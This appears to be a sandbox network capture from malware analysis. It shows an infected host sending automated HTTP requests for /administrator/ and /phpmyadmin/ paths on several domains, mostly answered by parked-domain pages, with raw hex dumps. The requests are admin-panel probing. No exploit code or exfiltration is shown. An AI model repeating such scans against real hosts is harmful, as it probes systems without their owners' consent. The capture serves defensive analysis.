66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f 64 65 73 72 63 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 6f 64 65 73 72 63 3d 22 31 22 7d 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 65 74 73 75 70 70 6f 72 Data Ascii: b832<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsuppor

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	55508	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:34.959274054 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:35.243453026 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:35 GMT Server: Apache Set-Cookie: vsid=935vr449082275071652461; expires=Thu, 30-Nov-2028 17:04:35 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_IQX70RRam12UE/t3Rsq8KCs5rF/C2bbsUy4xTYW3sh2TlbubFuU7eP+BzinwAV1T8nBP4mRknJdtURdWQYbGnA== Content-Length: 2581 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 49 51 58 37 30 52 52 61 6d 31 32 55 45 2f 74 33 52 73 71 38 4b 43 73 35 72 46 2f 43 32 62 62 73 55 79 34 78 54 59 57 33 73 68 32 54 6c 62 75 62 46 75 55 37 65 50 2b 42 7a 69 6e 77 41 56 31 54 38 6e 42 50 34 6d 52 6b 6e 4a 64 74 55 52 64 57 51 59 62 47 6e 41 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 55 6b 6f 79 61 33 59 76 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_IQX70RRam12UE/t3Rsq8KCs5rF/C2bbsUy4xTYW3sh2TlbubFuU7eP+BzinwAV1T8nBP4mRknJdtURdWQYbGnA=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://furnscales.com/px.js?ch=1"></script><script type="text/javascript" src="http://furnscales.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=Ukoya3Yv
Dec 2, 2023 18:04:35.243474960 CET	1274	IN	Data Raw: 4d 57 5a 44 5a 6b 73 32 4e 33 63 32 55 7a 6c 30 53 56 4a 4b 56 55 5a 45 62 6c 68 49 62 33 6c 34 4f 54 4a 49 62 6b 52 57 65 6c 6c 71 65 58 6c 6c 4e 6b 4d 30 65 58 6c 7a 5a 54 4d 78 55 48 42 58 63 6e 42 68 62 46 42 57 51 58 56 6c 61 6d 39 4e 4e 7a Data Ascii: MWZDZks2N3c2Uzl0SVJKVUZEblhIb3l4OTJIbkRWellqeXllNkM0eXlzZTMxUHBXcnBhbFBWQXVlam9NNzRsc0l4RENycTJBSmdGaWRqUGxDdDh6emdVaS9QRFhMTXdMVlFXb2orN0hjMXNwTUFVWm96QnNrRnlnbHU=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "undefined" &
Dec 2, 2023 18:04:35.243494034 CET	704	IN	Data Raw: 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f 27 0d 0a 20 20 20 20 20 20 20 20 2b Data Ascii: pt" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutions.com%2Flan
Dec 2, 2023 18:04:35.894232035 CET	326	OUT	GET /administrator/index.php HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip Cookie: vsid=935vr449082275071652461 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://furnscales.com/administrator/
Dec 2, 2023 18:04:36.115312099 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:35 GMT Server: Apache X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_Jr2qZBYMuCLUygnwZzhijO12pglJ2MNtfwIQBrAF89W7cHOW9qRnn3sWyiLUCkoD1xD6jV2CV+RfTovvNSm5/w== Content-Length: 2581 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 4a 72 32 71 5a 42 59 4d 75 43 4c 55 79 67 6e 77 5a 7a 68 69 6a 4f 31 32 70 67 6c 4a 32 4d 4e 74 66 77 49 51 42 72 41 46 38 39 57 37 63 48 4f 57 39 71 52 6e 6e 33 73 57 79 69 4c 55 43 6b 6f 44 31 78 44 36 6a 56 32 43 56 2b 52 66 54 6f 76 76 4e 53 6d 35 2f 77 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 56 46 42 77 5a 32 4a 6f 56 56 42 30 57 43 73 72 5a 45 68 59 52 6d 77 32 65 57 68 45 65 45 78 36 61 30 46 4f 65 56 6b 72 62 6a 68 6c 53 32 39 74 53 6d 68 32 53 45 64 76 62 53 74 6e 4e 55 45 79 51 6e 42 33 56 47 70 6f 65 6c 5a 75 59 31 64 6c 4d 55 4e 61 54 48 5a 4c 52 45 46 52 61 45 77 34 56 33 56 6a 53 58 6c 4e 62 30 74 4b 64 31 6c 73 5a 32 70 4f 54 55 59 72 64 6b 35 59 55 48 6c 43 55 32 31 58 4e 56 70 6b 63 6d 68 56 65 47 70 52 64 57 46 31 4e Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_Jr2qZBYMuCLUygnwZzhijO12pglJ2MNtfwIQBrAF89W7cHOW9qRnn3sWyiLUCkoD1xD6jV2CV+RfTovvNSm5/w=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://furnscales.com/px.js?ch=1"></script><script type="text/javascript" src="http://furnscales.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=VFBwZ2JoVVB0WCsrZEhYRmw2eWhEeEx6a0FOeVkrbjhlS29tSmh2SEdvbStnNUEyQnB3VGpoelZuY1dlMUNaTHZLREFRaEw4V3VjSXlNb0tKd1lsZ2pOTUYrdk5YUHlCU21XNVpkcmhVeGpRdWF1N
Dec 2, 2023 18:04:36.115331888 CET	1274	IN	Data Raw: 7a 41 35 52 7a 49 77 51 54 6c 6d 56 55 68 73 4d 32 4e 56 59 6d 63 3d 26 62 3d 22 2b 61 62 70 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 6d 67 6c 6f 67 29 3b 69 66 28 74 79 70 65 6f 66 20 61 62 70 65 72 75 Data Ascii: zA5RzIwQTlmVUhsM2NVYmc=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "undefined" && abperurl!="")window.top.location=abperurl;}catch(err){}}</script> <meta charset="utf-8"> <style type="text/css"> html, b
Dec 2, 2023 18:04:36.115426064 CET	563	IN	Data Raw: 20 2b 20 27 2f 70 61 72 6b 2e 6a 73 3f 72 65 67 5f 68 72 65 66 5f 74 65 78 74 5f 32 3d 52 65 6e 65 77 2b 4e 6f 77 26 61 6d 70 3b 72 65 67 5f 68 72 65 66 5f 75 72 6c 5f 32 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 2e 6e 65 74 77 6f 72 Data Ascii: + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutions.com%2Flanding%3Fcode%3DP47C100S1N0B9A1D124E0000V100&reg_href_text_3=Backorder+Domain&reg_href_url_3=https%3A%2F%2Fwww.networksolutions.com%2Fp

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	56179	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.077848911 CET	224	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.408282995 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>
Dec 2, 2023 18:04:38.408297062 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:26 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	56802	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.206545115 CET	229	OUT	GET /phpmyadmin/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.430169106 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Set-Cookie: vsid=926vr44908227832202381; expires=Thu, 30-Nov-2028 17:04:38 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_cHLwEN4a4FK3QvdVLJynY3xeWyPN29ilNpc037qzfyTZiIEqM76ucalqArr7xwsRMq8NqgXVBCxoJi8iOy5NoA== Content-Length: 2581 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 63 48 4c 77 45 4e 34 61 34 46 4b 33 51 76 64 56 4c 4a 79 6e 59 33 78 65 57 79 50 4e 32 39 69 6c 4e 70 63 30 33 37 71 7a 66 79 54 5a 69 49 45 71 4d 37 36 75 63 61 6c 71 41 72 72 37 78 77 73 52 4d 71 38 4e 71 67 58 56 42 43 78 6f 4a 69 38 69 4f 79 35 4e 6f 41 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 64 32 39 57 52 6a 46 50 63 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_cHLwEN4a4FK3QvdVLJynY3xeWyPN29ilNpc037qzfyTZiIEqM76ucalqArr7xwsRMq8NqgXVBCxoJi8iOy5NoA=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://furnscales.com/px.js?ch=1"></script><script type="text/javascript" src="http://furnscales.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=d29WRjFPc
Dec 2, 2023 18:04:38.430239916 CET	1274	IN	Data Raw: 58 63 7a 64 31 52 76 56 45 6c 58 5a 33 6c 7a 51 54 64 47 55 30 70 33 4f 47 56 42 64 6d 70 4b 4d 33 4e 34 65 6e 6c 31 64 30 78 4a 52 30 46 4d 5a 57 4a 6e 4e 46 42 45 56 48 64 6f 4d 44 5a 57 55 45 4e 6b 62 47 52 68 55 47 64 71 53 32 31 54 55 6b 4e Data Ascii: Xczd1RvVElXZ3lzQTdGU0p3OGVBdmpKM3N4enl1d0xJR0FMZWJnNFBEVHdoMDZWUENkbGRhUGdqS21TUkNYbkNSajhLQlEzNUluYklCVFROZmRNbHlvS0xRUVAzMVZCZ3E4dCt1Ym8vWFZVcXVYSDZpcTZlNFdmSFc=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "undefined" &&
